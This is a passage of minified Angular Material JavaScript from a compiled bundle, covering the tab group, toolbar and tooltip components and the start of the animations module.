contentTabIndex(fe){this._contentTabIndex=(0,q.su)(fe,null)}get disablePagination(){return this._disablePagination}set disablePagination(fe){this._disablePagination=(0,q.Ig)(fe)}get preserveContent(){return this._preserveContent}set preserveContent(fe){this._preserveContent=(0,q.Ig)(fe)}get backgroundColor(){return this._backgroundColor}set backgroundColor(fe){const Ee=this._elementRef.nativeElement;Ee.classList.remove(`mat-background-${this.backgroundColor}`),fe&&Ee.classList.add(`mat-background-${fe}`),this._backgroundColor=fe}ngAfterContentChecked(){const fe=this._indexToSelect=this._clampTabIndex(this._indexToSelect);if(this._selectedIndex!=fe){const Ee=null==this._selectedIndex;if(!Ee){this.selectedTabChange.emit(this._createChangeEvent(fe));const at=this._tabBodyWrapper.nativeElement;at.style.minHeight=at.clientHeight+"px"}Promise.resolve().then(()=>{this._tabs.forEach((at,Se)=>at.isActive=Se===fe),Ee||(this.selectedIndexChange.emit(fe),this._tabBodyWrapper.nativeElement.style.minHeight="")})}this._tabs.forEach((Ee,at)=>{Ee.position=at-fe,null!=this._selectedIndex&&0==Ee.position&&!Ee.origin&&(Ee.origin=fe-this._selectedIndex)}),this._selectedIndex!==fe&&(this._selectedIndex=fe,this._lastFocusedTabIndex=null,this._changeDetectorRef.markForCheck())}ngAfterContentInit(){this._subscribeToAllTabChanges(),this._subscribeToTabLabels(),this._tabsSubscription=this._tabs.changes.subscribe(()=>{const fe=this._clampTabIndex(this._indexToSelect);if(fe===this._selectedIndex){const Ee=this._tabs.toArray();let at;for(let Se=0;Se<Ee.length;Se++)if(Ee[Se].isActive){this._indexToSelect=this._selectedIndex=Se,this._lastFocusedTabIndex=null,at=Ee[Se];break}!at&&Ee[fe]&&Promise.resolve().then(()=>{Ee[fe].isActive=!0,this.selectedTabChange.emit(this._createChangeEvent(fe))})}this._changeDetectorRef.markForCheck()})}_subscribeToAllTabChanges(){this._allTabs.changes.pipe((0,_.O)(this._allTabs)).subscribe(fe=>{this._tabs.reset(fe.filter(Ee=>Ee._closestTabGroup===this||!Ee._closestTabGroup)),this._tabs.notifyOnChanges()})}ngOnDestroy(){this._tabs.destroy(),this._tabsSubscription.unsubscribe(),this._tabLabelSubscription.unsubscribe()}realignInkBar(){this._tabHeader&&this._tabHeader._alignInkBarToSelectedTab()}updatePagination(){this._tabHeader&&this._tabHeader.updatePagination()}focusTab(fe){const Ee=this._tabHeader;Ee&&(Ee.focusIndex=fe)}_focusChanged(fe){this._lastFocusedTabIndex=fe,this.focusChange.emit(this._createChangeEvent(fe))}_createChangeEvent(fe){const Ee=new kt;return Ee.index=fe,this._tabs&&this._tabs.length&&(Ee.tab=this._tabs.toArray()[fe]),Ee}_subscribeToTabLabels(){this._tabLabelSubscription&&this._tabLabelSubscription.unsubscribe(),this._tabLabelSubscription=(0,oe.T)(...this._tabs.map(fe=>fe._stateChanges)).subscribe(()=>this._changeDetectorRef.markForCheck())}_clampTabIndex(fe){return Math.min(this._tabs.length-1,Math.max(fe||0,0))}_getTabLabelId(fe){return`mat-tab-label-${this._groupId}-${fe}`}_getTabContentId(fe){return`mat-tab-content-${this._groupId}-${fe}`}_setTabBodyWrapperHeight(fe){if(!this._dynamicHeight||!this._tabBodyWrapperHeight)return;const Ee=this._tabBodyWrapper.nativeElement;Ee.style.height=this._tabBodyWrapperHeight+"px",this._tabBodyWrapper.nativeElement.offsetHeight&&(Ee.style.height=fe+"px")}_removeTabBodyWrapperHeight(){const fe=this._tabBodyWrapper.nativeElement;this._tabBodyWrapperHeight=fe.clientHeight,fe.style.height="",this.animationDone.emit()}_handleClick(fe,Ee,at){fe.disabled||(this.selectedIndex=Ee.focusIndex=at)}_getTabIndex(fe,Ee){return fe.disabled?null:Ee===(this._lastFocusedTabIndex??this.selectedIndex)?0:-1}_tabFocusChanged(fe,Ee){fe&&"mouse"!==fe&&"touch"!==fe&&(this._tabHeader.focusIndex=Ee)}}return pt.\\u0275fac=function(fe){return new(fe||pt)(c.Y36(c.SBq),c.Y36(c.sBO),c.Y36(ie,8),c.Y36(c.QbO,8))},pt.\\u0275dir=c.lG2({type:pt,inputs:{dynamicHeight:"dynamicHeight",selectedIndex:"selectedIndex",headerPosition:"headerPosition",animationDuration:"animationDuration",contentTabIndex:"contentTabIndex",disablePagination:"disablePagination",preserveContent:"preserveContent",backgroundColor:"backgroundColor"},outputs:{selectedIndexChange:"selectedIndexChange",focusChange:"focusChange",animationDone:"animationDone",selectedTabChange:"selectedTabChange"},features:[c.qOj]}),pt})(),Pe=(()=>{class pt extends be{constructor(fe,Ee,at,Se){super(fe,Ee,at,Se)}}return pt.\\u0275fac=function(fe){return new(fe||pt)(c.Y36(c.SBq),c.Y36(c.sBO),c.Y36(ie,8),c.Y36(c.QbO,8))},pt.\\u0275cmp=c.Xpm({type:pt,selectors:[["mat-tab-group"]],contentQueries:function(fe,Ee,at){if(1&fe&&c.Suo(at,te,5),2&fe){let Se;c.iGM(Se=c.CRH())&&(Ee._allTabs=Se)}},viewQuery:function(fe,Ee){if(1&fe&&(c.Gf(De,5),c.Gf(re,5)),2&fe){let at;c.iGM(at=c.CRH())&&(Ee._tabBodyWrapper=at.first),c.iGM(at=c.CRH())&&(Ee._tabHeader=at.first)}},hostAttrs:[1,"mat-tab-group"],hostVars:4,hostBindings:function(fe,Ee){2&fe&&c.ekj("mat-tab-group-dynamic-height",Ee.dynamicHeight)("mat-tab-group-inverted-header","below"===Ee.headerPosition)},inputs:{color:"color",disableRipple:"disableRipple"},exportAs:["matTabGroup"],features:[c._Bn([{provide:Ie,useExisting:pt}]),c.qOj],decls:6,vars:7,consts:[[3,"selectedIndex","disableRipple","disablePagination","indexFocused","selectFocusedIndex"],["tabHeader",""],["class","mat-tab-label mat-focus-indicator","role","tab","matTabLabelWrapper","","mat-ripple","","cdkMonitorElementFocus","",3,"id","mat-tab-label-active","ngClass","disabled","matRippleDisabled","click","cdkFocusChange",4,"ngFor","ngForOf"],[1,"mat-tab-body-wrapper"],["tabBodyWrapper",""],["role","tabpanel",3,"id","mat-tab-body-active","ngClass","content","position","origin","animationDuration","preserveContent","_onCentered","_onCentering",4,"ngFor","ngForOf"],["role","tab","matTabLabelWrapper","","mat-ripple","","cdkMonitorElementFocus","",1,"mat-tab-label","mat-focus-indicator",3,"id","ngClass","disabled","matRippleDisabled","click","cdkFocusChange"],[1,"mat-tab-label-content"],[3,"ngIf","ngIfElse"],["tabTextLabel",""],[3,"cdkPortalOutlet"],["role","tabpanel",3,"id","ngClass","content","position","origin","animationDuration","preserveContent","_onCentered","_onCentering"]],template:function(fe,Ee){1&fe&&(c.TgZ(0,"mat-tab-header",0,1),c.NdJ("indexFocused",function(Se){return Ee._focusChanged(Se)})("selectFocusedIndex",function(Se){return Ee.selectedIndex=Se}),c.YNc(2,Be,5,15,"div",2),c.qZA(),c.TgZ(3,"div",3,4),c.YNc(5,pe,1,11,"mat-tab-body",5),c.qZA()),2&fe&&(c.Q6J("selectedIndex",Ee.selectedIndex||0)("disableRipple",Ee.disableRipple)("disablePagination",Ee.disablePagination),c.xp6(2),c.Q6J("ngForOf",Ee._tabs),c.xp6(1),c.ekj("_mat-animation-noopable","NoopAnimations"===Ee._animationMode),c.xp6(2),c.Q6J("ngForOf",Ee._tabs))},dependencies:[u.mk,u.sg,u.O5,s.Pl,f.wG,n.kH,it,B,It],styles:[".mat-tab-group{display:flex;flex-direction:column;max-width:100%}.mat-tab-group.mat-tab-group-inverted-header{flex-direction:column-reverse}.mat-tab-label{height:48px;padding:0 24px;cursor:pointer;box-sizing:border-box;opacity:.6;min-width:160px;text-align:center;display:inline-flex;justify-content:center;align-items:center;white-space:nowrap;position:relative}.mat-tab-label:focus{outline:none}.mat-tab-label:focus:not(.mat-tab-disabled){opacity:1}.mat-tab-label.mat-tab-disabled{cursor:default}.cdk-high-contrast-active .mat-tab-label.mat-tab-disabled{opacity:.5}.mat-tab-label .mat-tab-label-content{display:inline-flex;justify-content:center;align-items:center;white-space:nowrap}.cdk-high-contrast-active .mat-tab-label{opacity:1}@media(max-width: 599px){.mat-tab-label{padding:0 12px}}@media(max-width: 959px){.mat-tab-label{padding:0 12px}}.mat-tab-group[mat-stretch-tabs]>.mat-tab-header .mat-tab-label{flex-basis:0;flex-grow:1}.mat-tab-body-wrapper{position:relative;overflow:hidden;display:flex;transition:height 500ms cubic-bezier(0.35, 0, 0.25, 1)}.mat-tab-body-wrapper._mat-animation-noopable{transition:none !important;animation:none !important}.mat-tab-body{top:0;left:0;right:0;bottom:0;position:absolute;display:block;overflow:hidden;outline:0;flex-basis:100%}.mat-tab-body.mat-tab-body-active{position:relative;overflow-x:hidden;overflow-y:auto;z-index:1;flex-grow:1}.mat-tab-group.mat-tab-group-dynamic-height .mat-tab-body.mat-tab-body-active{overflow-y:hidden}"],encapsulation:2}),pt})(),jt=(()=>{class pt{}return pt.\\u0275fac=function(fe){return new(fe||pt)},pt.\\u0275mod=c.oAB({type:pt}),pt.\\u0275inj=c.cJS({imports:[u.ez,f.BQ,s.eL,f.si,a.Q8,n.rt,f.BQ]}),pt})()},3683:(At,ae,d)=>{"use strict";d.d(ae,{Ye:()=>S,g0:()=>C,rD:()=>_});var n=d(4650),a=d(3238),s=d(3353),u=d(6895);const c=["*",[["mat-toolbar-row"]]],f=["*","mat-toolbar-row"],E=(0,a.pj)(class{constructor(z){this._elementRef=z}});let _=(()=>{class z{}return z.\\u0275fac=function(j){return new(j||z)},z.\\u0275dir=n.lG2({type:z,selectors:[["mat-toolbar-row"]],hostAttrs:[1,"mat-toolbar-row"],exportAs:["matToolbarRow"]}),z})(),S=(()=>{class z extends E{constructor(j,U,G){super(j),this._platform=U,this._document=G}ngAfterViewInit(){this._platform.isBrowser&&(this._checkToolbarMixedModes(),this._toolbarRows.changes.subscribe(()=>this._checkToolbarMixedModes()))}_checkToolbarMixedModes(){}}return z.\\u0275fac=function(j){return new(j||z)(n.Y36(n.SBq),n.Y36(s.t4),n.Y36(u.K0))},z.\\u0275cmp=n.Xpm({type:z,selectors:[["mat-toolbar"]],contentQueries:function(j,U,G){if(1&j&&n.Suo(G,_,5),2&j){let Q;n.iGM(Q=n.CRH())&&(U._toolbarRows=Q)}},hostAttrs:[1,"mat-toolbar"],hostVars:4,hostBindings:function(j,U){2&j&&n.ekj("mat-toolbar-multiple-rows",U._toolbarRows.length>0)("mat-toolbar-single-row",0===U._toolbarRows.length)},inputs:{color:"color"},exportAs:["matToolbar"],features:[n.qOj],ngContentSelectors:f,decls:2,vars:0,template:function(j,U){1&j&&(n.F$t(c),n.Hsn(0),n.Hsn(1,1))},styles:[".cdk-high-contrast-active .mat-toolbar{outline:solid 1px}.mat-toolbar-row,.mat-toolbar-single-row{display:flex;box-sizing:border-box;padding:0 16px;width:100%;flex-direction:row;align-items:center;white-space:nowrap}.mat-toolbar-multiple-rows{display:flex;box-sizing:border-box;flex-direction:column;width:100%}"],encapsulation:2,changeDetection:0}),z})(),C=(()=>{class z{}return z.\\u0275fac=function(j){return new(j||z)},z.\\u0275mod=n.oAB({type:z}),z.\\u0275inj=n.cJS({imports:[a.BQ,a.BQ]}),z})()},266:(At,ae,d)=>{"use strict";d.d(ae,{AV:()=>qe,gM:()=>Oe});var n=d(8184),a=d(2687),s=d(6895),u=d(4650),c=d(3238),f=d(7261),E=d(445),_=d(1281),S=d(9521),g=d(2289),C=d(3353),z=d(4080),H=d(8929),j=d(7625),U=d(2986);d(7340);const Q=["tooltip"],k="tooltip-panel",K=(0,C.i$)({passive:!0}),q=new u.OlP("mat-tooltip-scroll-strategy"),ce={provide:q,deps:[n.aV],useFactory:function we(dt){return()=>dt.scrollStrategies.reposition({scrollThrottle:20})}},je=new u.OlP("mat-tooltip-default-options",{providedIn:"root",factory:function Ze(){return{showDelay:0,hideDelay:0,touchendHideDelay:1500}}});let le=(()=>{class dt{constructor(ze,De,re,ve,We,xt,Be,pe,P,w,R,X){this._overlay=ze,this._elementRef=De,this._scrollDispatcher=re,this._viewContainerRef=ve,this._ngZone=We,this._platform=xt,this._ariaDescriber=Be,this._focusMonitor=pe,this._dir=w,this._defaultOptions=R,this._position="below",this._disabled=!1,this._viewInitialized=!1,this._pointerExitEventsInitialized=!1,this._viewportMargin=8,this._cssClassPrefix="mat",this._showDelay=this._defaultOptions.showDelay,this._hideDelay=this._defaultOptions.hideDelay,this.touchGestures="auto",this._message="",this._passiveListeners=[],this._destroyed=new H.xQ,this._scrollStrategy=P,this._document=X,R&&(R.position&&(this.position=R.position),R.touchGestures&&(this.touchGestures=R.touchGestures)),w.change.pipe((0,j.R)(this._destroyed)).subscribe(()=>{this._overlayRef&&this._updatePosition(this._overlayRef)})}get position(){return this._position}set position(ze){ze!==this._position&&(this._position=ze,this._overlayRef&&(this._updatePosition(this._overlayRef),this._tooltipInstance?.show(0),this._overlayRef.updatePosition()))}get disabled(){return this._disabled}set disabled(ze){this._disabled=(0,_.Ig)(ze),this._disabled?this.hide(0):this._setupPointerEnterEventsIfNeeded()}get showDelay(){return this._showDelay}set showDelay(ze){this._showDelay=(0,_.su)(ze)}get hideDelay(){return this._hideDelay}set hideDelay(ze){this._hideDelay=(0,_.su)(ze),this._tooltipInstance&&(this._tooltipInstance._mouseLeaveHideDelay=this._hideDelay)}get message(){return this._message}set message(ze){this._ariaDescriber.removeDescription(this._elementRef.nativeElement,this._message,"tooltip"),this._message=null!=ze?String(ze).trim():"",!this._message&&this._isTooltipVisible()?this.hide(0):(this._setupPointerEnterEventsIfNeeded(),this._updateTooltipMessage(),this._ngZone.runOutsideAngular(()=>{Promise.resolve().then(()=>{this._ariaDescriber.describe(this._elementRef.nativeElement,this.message,"tooltip")})}))}get tooltipClass(){return this._tooltipClass}set tooltipClass(ze){this._tooltipClass=ze,this._tooltipInstance&&this._setTooltipClass(this._tooltipClass)}ngAfterViewInit(){this._viewInitialized=!0,this._setupPointerEnterEventsIfNeeded(),this._focusMonitor.monitor(this._elementRef).pipe((0,j.R)(this._destroyed)).subscribe(ze=>{ze?"keyboard"===ze&&this._ngZone.run(()=>this.show()):this._ngZone.run(()=>this.hide(0))})}ngOnDestroy(){const ze=this._elementRef.nativeElement;clearTimeout(this._touchstartTimeout),this._overlayRef&&(this._overlayRef.dispose(),this._tooltipInstance=null),this._passiveListeners.forEach(([De,re])=>{ze.removeEventListener(De,re,K)}),this._passiveListeners.length=0,this._destroyed.next(),this._destroyed.complete(),this._ariaDescriber.removeDescription(ze,this.message,"tooltip"),this._focusMonitor.stopMonitoring(ze)}show(ze=this.showDelay){if(this.disabled||!this.message||this._isTooltipVisible())return void this._tooltipInstance?._cancelPendingAnimations();const De=this._createOverlay();this._detach(),this._portal=this._portal||new z.C5(this._tooltipComponent,this._viewContainerRef);const re=this._tooltipInstance=De.attach(this._portal).instance;re._triggerElement=this._elementRef.nativeElement,re._mouseLeaveHideDelay=this._hideDelay,re.afterHidden().pipe((0,j.R)(this._destroyed)).subscribe(()=>this._detach()),this._setTooltipClass(this._tooltipClass),this._updateTooltipMessage(),re.show(ze)}hide(ze=this.hideDelay){const De=this._tooltipInstance;De&&(De.isVisible()?De.hide(ze):(De._cancelPendingAnimations(),this._detach()))}toggle(){this._isTooltipVisible()?this.hide():this.show()}_isTooltipVisible(){return!!this._tooltipInstance&&this._tooltipInstance.isVisible()}_createOverlay(){if(this._overlayRef)return this._overlayRef;const ze=this._scrollDispatcher.getAncestorScrollContainers(this._elementRef),De=this._overlay.position().flexibleConnectedTo(this._elementRef).withTransformOriginOn(`.${this._cssClassPrefix}-tooltip`).withFlexibleDimensions(!1).withViewportMargin(this._viewportMargin).withScrollableContainers(ze);return De.positionChanges.pipe((0,j.R)(this._destroyed)).subscribe(re=>{this._updateCurrentPositionClass(re.connectionPair),this._tooltipInstance&&re.scrollableViewProperties.isOverlayClipped&&this._tooltipInstance.isVisible()&&this._ngZone.run(()=>this.hide(0))}),this._overlayRef=this._overlay.create({direction:this._dir,positionStrategy:De,panelClass:`${this._cssClassPrefix}-${k}`,scrollStrategy:this._scrollStrategy()}),this._updatePosition(this._overlayRef),this._overlayRef.detachments().pipe((0,j.R)(this._destroyed)).subscribe(()=>this._detach()),this._overlayRef.outsidePointerEvents().pipe((0,j.R)(this._destroyed)).subscribe(()=>this._tooltipInstance?._handleBodyInteraction()),this._overlayRef.keydownEvents().pipe((0,j.R)(this._destroyed)).subscribe(re=>{this._isTooltipVisible()&&re.keyCode===S.hY&&!(0,S.Vb)(re)&&(re.preventDefault(),re.stopPropagation(),this._ngZone.run(()=>this.hide(0)))}),this._defaultOptions?.disableTooltipInteractivity&&this._overlayRef.addPanelClass(`${this._cssClassPrefix}-tooltip-panel-non-interactive`),this._overlayRef}_detach(){this._overlayRef&&this._overlayRef.hasAttached()&&this._overlayRef.detach(),this._tooltipInstance=null}_updatePosition(ze){const De=ze.getConfig().positionStrategy,re=this._getOrigin(),ve=this._getOverlayPosition();De.withPositions([this._addOffset({...re.main,...ve.main}),this._addOffset({...re.fallback,...ve.fallback})])}_addOffset(ze){return ze}_getOrigin(){const ze=!this._dir||"ltr"==this._dir.value,De=this.position;let re;"above"==De||"below"==De?re={originX:"center",originY:"above"==De?"top":"bottom"}:"before"==De||"left"==De&&ze||"right"==De&&!ze?re={originX:"start",originY:"center"}:("after"==De||"right"==De&&ze||"left"==De&&!ze)&&(re={originX:"end",originY:"center"});const{x:ve,y:We}=this._invertPosition(re.originX,re.originY);return{main:re,fallback:{originX:ve,originY:We}}}_getOverlayPosition(){const ze=!this._dir||"ltr"==this._dir.value,De=this.position;let re;"above"==De?re={overlayX:"center",overlayY:"bottom"}:"below"==De?re={overlayX:"center",overlayY:"top"}:"before"==De||"left"==De&&ze||"right"==De&&!ze?re={overlayX:"end",overlayY:"center"}:("after"==De||"right"==De&&ze||"left"==De&&!ze)&&(re={overlayX:"start",overlayY:"center"});const{x:ve,y:We}=this._invertPosition(re.overlayX,re.overlayY);return{main:re,fallback:{overlayX:ve,overlayY:We}}}_updateTooltipMessage(){this._tooltipInstance&&(this._tooltipInstance.message=this.message,this._tooltipInstance._markForCheck(),this._ngZone.onMicrotaskEmpty.pipe((0,U.q)(1),(0,j.R)(this._destroyed)).subscribe(()=>{this._tooltipInstance&&this._overlayRef.updatePosition()}))}_setTooltipClass(ze){this._tooltipInstance&&(this._tooltipInstance.tooltipClass=ze,this._tooltipInstance._markForCheck())}_invertPosition(ze,De){return"above"===this.position||"below"===this.position?"top"===De?De="bottom":"bottom"===De&&(De="top"):"end"===ze?ze="start":"start"===ze&&(ze="end"),{x:ze,y:De}}_updateCurrentPositionClass(ze){const{overlayY:De,originX:re,originY:ve}=ze;let We;if(We="center"===De?this._dir&&"rtl"===this._dir.value?"end"===re?"left":"right":"start"===re?"left":"right":"bottom"===De&&"top"===ve?"above":"below",We!==this._currentPosition){const xt=this._overlayRef;if(xt){const Be=`${this._cssClassPrefix}-${k}-`;xt.removePanelClass(Be+this._currentPosition),xt.addPanelClass(Be+We)}this._currentPosition=We}}_setupPointerEnterEventsIfNeeded(){this._disabled||!this.message||!this._viewInitialized||this._passiveListeners.length||(this._platformSupportsMouseEvents()?this._passiveListeners.push(["mouseenter",()=>{this._setupPointerExitEventsIfNeeded(),this.show()}]):"off"!==this.touchGestures&&(this._disableNativeGesturesIfNecessary(),this._passiveListeners.push(["touchstart",()=>{this._setupPointerExitEventsIfNeeded(),clearTimeout(this._touchstartTimeout),this._touchstartTimeout=setTimeout(()=>this.show(),500)}])),this._addListeners(this._passiveListeners))}_setupPointerExitEventsIfNeeded(){if(this._pointerExitEventsInitialized)return;this._pointerExitEventsInitialized=!0;const ze=[];if(this._platformSupportsMouseEvents())ze.push(["mouseleave",De=>{const re=De.relatedTarget;(!re||!this._overlayRef?.overlayElement.contains(re))&&this.hide()}],["wheel",De=>this._wheelListener(De)]);else if("off"!==this.touchGestures){this._disableNativeGesturesIfNecessary();const De=()=>{clearTimeout(this._touchstartTimeout),this.hide(this._defaultOptions.touchendHideDelay)};ze.push(["touchend",De],["touchcancel",De])}this._addListeners(ze),this._passiveListeners.push(...ze)}_addListeners(ze){ze.forEach(([De,re])=>{this._elementRef.nativeElement.addEventListener(De,re,K)})}_platformSupportsMouseEvents(){return!this._platform.IOS&&!this._platform.ANDROID}_wheelListener(ze){if(this._isTooltipVisible()){const De=this._document.elementFromPoint(ze.clientX,ze.clientY),re=this._elementRef.nativeElement;De!==re&&!re.contains(De)&&this.hide()}}_disableNativeGesturesIfNecessary(){const ze=this.touchGestures;if("off"!==ze){const De=this._elementRef.nativeElement,re=De.style;("on"===ze||"INPUT"!==De.nodeName&&"TEXTAREA"!==De.nodeName)&&(re.userSelect=re.msUserSelect=re.webkitUserSelect=re.MozUserSelect="none"),("on"===ze||!De.draggable)&&(re.webkitUserDrag="none"),re.touchAction="none",re.webkitTapHighlightColor="transparent"}}}return dt.\\u0275fac=function(ze){u.$Z()},dt.\\u0275dir=u.lG2({type:dt,inputs:{position:["matTooltipPosition","position"],disabled:["matTooltipDisabled","disabled"],showDelay:["matTooltipShowDelay","showDelay"],hideDelay:["matTooltipHideDelay","hideDelay"],touchGestures:["matTooltipTouchGestures","touchGestures"],message:["matTooltip","message"],tooltipClass:["matTooltipClass","tooltipClass"]}}),dt})(),Oe=(()=>{class dt extends le{constructor(ze,De,re,ve,We,xt,Be,pe,P,w,R,X){super(ze,De,re,ve,We,xt,Be,pe,P,w,R,X),this._tooltipComponent=Ye}}return dt.\\u0275fac=function(ze){return new(ze||dt)(u.Y36(n.aV),u.Y36(u.SBq),u.Y36(f.mF),u.Y36(u.s_b),u.Y36(u.R0b),u.Y36(C.t4),u.Y36(a.$s),u.Y36(a.tE),u.Y36(q),u.Y36(E.Is,8),u.Y36(je,8),u.Y36(s.K0))},dt.\\u0275dir=u.lG2({type:dt,selectors:[["","matTooltip",""]],hostAttrs:[1,"mat-tooltip-trigger"],exportAs:["matTooltip"],features:[u.qOj]}),dt})(),Qe=(()=>{class dt{constructor(ze,De){this._changeDetectorRef=ze,this._closeOnInteraction=!1,this._isVisible=!1,this._onHide=new H.xQ,this._animationsDisabled="NoopAnimations"===De}show(ze){clearTimeout(this._hideTimeoutId),this._showTimeoutId=setTimeout(()=>{this._toggleVisibility(!0),this._showTimeoutId=void 0},ze)}hide(ze){clearTimeout(this._showTimeoutId),this._hideTimeoutId=setTimeout(()=>{this._toggleVisibility(!1),this._hideTimeoutId=void 0},ze)}afterHidden(){return this._onHide}isVisible(){return this._isVisible}ngOnDestroy(){this._cancelPendingAnimations(),this._onHide.complete(),this._triggerElement=null}_handleBodyInteraction(){this._closeOnInteraction&&this.hide(0)}_markForCheck(){this._changeDetectorRef.markForCheck()}_handleMouseLeave({relatedTarget:ze}){(!ze||!this._triggerElement.contains(ze))&&(this.isVisible()?this.hide(this._mouseLeaveHideDelay):this._finalizeAnimation(!1))}_onShow(){}_handleAnimationEnd({animationName:ze}){(ze===this._showAnimation||ze===this._hideAnimation)&&this._finalizeAnimation(ze===this._showAnimation)}_cancelPendingAnimations(){clearTimeout(this._showTimeoutId),clearTimeout(this._hideTimeoutId),this._showTimeoutId=this._hideTimeoutId=void 0}_finalizeAnimation(ze){ze?this._closeOnInteraction=!0:this.isVisible()||this._onHide.next()}_toggleVisibility(ze){const De=this._tooltip.nativeElement,re=this._showAnimation,ve=this._hideAnimation;if(De.classList.remove(ze?ve:re),De.classList.add(ze?re:ve),this._isVisible=ze,ze&&!this._animationsDisabled&&"function"==typeof getComputedStyle){const We=getComputedStyle(De);("0s"===We.getPropertyValue("animation-duration")||"none"===We.getPropertyValue("animation-name"))&&(this._animationsDisabled=!0)}ze&&this._onShow(),this._animationsDisabled&&(De.classList.add("_mat-animation-noopable"),this._finalizeAnimation(ze))}}return dt.\\u0275fac=function(ze){return new(ze||dt)(u.Y36(u.sBO),u.Y36(u.QbO,8))},dt.\\u0275dir=u.lG2({type:dt}),dt})(),Ye=(()=>{class dt extends Qe{constructor(ze,De,re){super(ze,re),this._breakpointObserver=De,this._isHandset=this._breakpointObserver.observe(g.u3.Handset),this._showAnimation="mat-tooltip-show",this._hideAnimation="mat-tooltip-hide"}}return dt.\\u0275fac=function(ze){return new(ze||dt)(u.Y36(u.sBO),u.Y36(g.Yg),u.Y36(u.QbO,8))},dt.\\u0275cmp=u.Xpm({type:dt,selectors:[["mat-tooltip-component"]],viewQuery:function(ze,De){if(1&ze&&u.Gf(Q,7),2&ze){let re;u.iGM(re=u.CRH())&&(De._tooltip=re.first)}},hostAttrs:["aria-hidden","true"],hostVars:2,hostBindings:function(ze,De){1&ze&&u.NdJ("mouseleave",function(ve){return De._handleMouseLeave(ve)}),2&ze&&u.Udp("zoom",De.isVisible()?1:null)},features:[u.qOj],decls:4,vars:6,consts:[[1,"mat-tooltip",3,"ngClass","animationend"],["tooltip",""]],template:function(ze,De){if(1&ze&&(u.TgZ(0,"div",0,1),u.NdJ("animationend",function(ve){return De._handleAnimationEnd(ve)}),u.ALo(2,"async"),u._uU(3),u.qZA()),2&ze){let re;u.ekj("mat-tooltip-handset",null==(re=u.lcZ(2,4,De._isHandset))?null:re.matches),u.Q6J("ngClass",De.tooltipClass),u.xp6(3),u.Oqu(De.message)}},dependencies:[s.mk,s.Ov],styles:[".mat-tooltip{color:#fff;border-radius:4px;margin:14px;max-width:250px;padding-left:8px;padding-right:8px;overflow:hidden;text-overflow:ellipsis;transform:scale(0)}.mat-tooltip._mat-animation-noopable{animation:none;transform:scale(1)}.cdk-high-contrast-active .mat-tooltip{outline:solid 1px}.mat-tooltip-handset{margin:24px;padding-left:16px;padding-right:16px}.mat-tooltip-panel-non-interactive{pointer-events:none}@keyframes mat-tooltip-show{0%{opacity:0;transform:scale(0)}50%{opacity:.5;transform:scale(0.99)}100%{opacity:1;transform:scale(1)}}@keyframes mat-tooltip-hide{0%{opacity:1;transform:scale(1)}100%{opacity:0;transform:scale(1)}}.mat-tooltip-show{animation:mat-tooltip-show 200ms cubic-bezier(0, 0, 0.2, 1) forwards}.mat-tooltip-hide{animation:mat-tooltip-hide 100ms cubic-bezier(0, 0, 0.2, 1) forwards}"],encapsulation:2,changeDetection:0}),dt})(),qe=(()=>{class dt{}return dt.\\u0275fac=function(ze){return new(ze||dt)},dt.\\u0275mod=u.oAB({type:dt}),dt.\\u0275inj=u.cJS({providers:[ce],imports:[a.rt,s.ez,n.U8,c.BQ,c.BQ,f.ZD]}),dt})()},8746:(At,ae,d)=>{"use strict";d.d(ae,{PW:()=>Yn});var n=d(4650),a=d(1481),s=d(7340);function c(Te){return new n.vHH(3e3,!1)}function xt(){return typeof window<"u"&&typeof window.document<"u"}function Be(){return typeof process<"u"&&"[object process]"==={}.toString.call(process)}function pe(Te){switch(Te.length){case 0:return new s.ZN;case 1:return Te[0];default:return new s.ZE(Te)}}function P(Te,y,D,Z,Le=new Map,rt=new Map){const yt=[],Mt=[];let Ft=-1,Ut=null;if(Z.forEach(o1=>{const l1=o1.get("offset"),F1=l1==Ft,A1=F1&&Ut||new Map;o1.forEach((C1,S1)=>{let Q1=S1,tn=C1;if("offset"!==S1)switch(Q1=y.normalizePropertyName(Q1,yt),tn){case s.k1:tn=Le.get(S1);break;case s.l3:tn=rt.get(S1);break;default:tn=y.normalizeStyleValue(S1,Q1,tn,yt)}A1.set(Q1,tn)}),F1||Mt.push(A1),Ut=A1,Ft=l1}),yt.length)throw function le(Te){return new n.vHH(3502,!1)}();return Mt}function w(Te,y,D,Z){switch(y){case"start":Te.onStart(()=>Z(D&&R(D,"start",Te)));break;case"done":Te.onDone(()=>Z(D&&R(D,"done",Te)));break;case"destroy":Te.onDestroy(()=>Z(D&&R(D,"destroy",Te)))}}function R(Te,y,D){const rt=X(Te.element,Te.triggerName,Te.fromState,Te.toState,y||Te.phaseName,D.totalTime??Te.totalTime,!!D.disabled),yt=Te._data;return null!=yt&&(rt._data=yt),rt}function X(Te,y,D,Z,Le="",rt=0,yt){return{element:Te,triggerName:y,fromState:D,toState:Z,phaseName:Le,totalTime:rt,disabled:!!yt}}function _e(Te,y,D){let Z=Te.get(y);return Z||Te.set(y,Z=D),Z}function ct(Te){const y=Te.indexOf(":");return[Te.substring(1,y),Te.slice(y+1)]}let Je=(Te,y)=>!1,Et=(Te,y,D)=>[],Dt=null;function Pt(Te){const y=Te.parentNode||Te.host;return y===Dt?null:y}(Be()||typeof Element<"u")&&(xt()?(Dt=(()=>document.documentElement)(),Je=(Te,y)=>{for(;y;){if(y===Te)return!0;y=Pt(y)}return!1}):Je=(Te,y)=>Te.contains(y),Et=(Te,y,D)=>{if(D)return Array.from(Te.querySelectorAll(y));const Z=Te.querySelector(y);return Z?[Z]:[]});let x=null,m=!1;const Xe=Je,it=Et;let Vt=(()=>{class Te{validateStyleProperty(D){return function b(Te){x||(x=function ie(){return typeof document<"u"?document.body:null}()||{},m=!!x.style&&"WebkitAppearance"in x.style);let y=!0;return x.style&&!function te(Te){return"ebkit"==Te.substring(1,6)}(Te)&&(y=Te in x.style,!y&&m&&(y="Webkit"+Te.charAt(0).toUpperCase()+Te.slice(1)in x.style)),y}(D)}matchesElement(D,Z){return!1}containsElement(D,Z){return Xe(D,Z)}getParentElement(D){return Pt(D)}query(D,Z,Le){return it(D,Z,Le)}computeStyle(D,Z,Le){return Le||""}animate(D,Z,Le,rt,yt,Mt=[],Ft){return new s.ZN(Le,rt)}}return Te.\\u0275fac=function(D){return new(D||Te)},Te.\\u0275prov=n.Yz7({token:Te,factory:Te.\\u0275fac}),Te})(),Gt=(()=>{class Te{}return Te.NOOP=new Vt,Te})();const qt=1e3,It="ng-enter",_t="ng-leave",kt="ng-trigger",Fe=".ng-trigger",be="ng-animating",Pe=".ng-animating";function Re(Te){if("number"==typeof Te)return Te;const 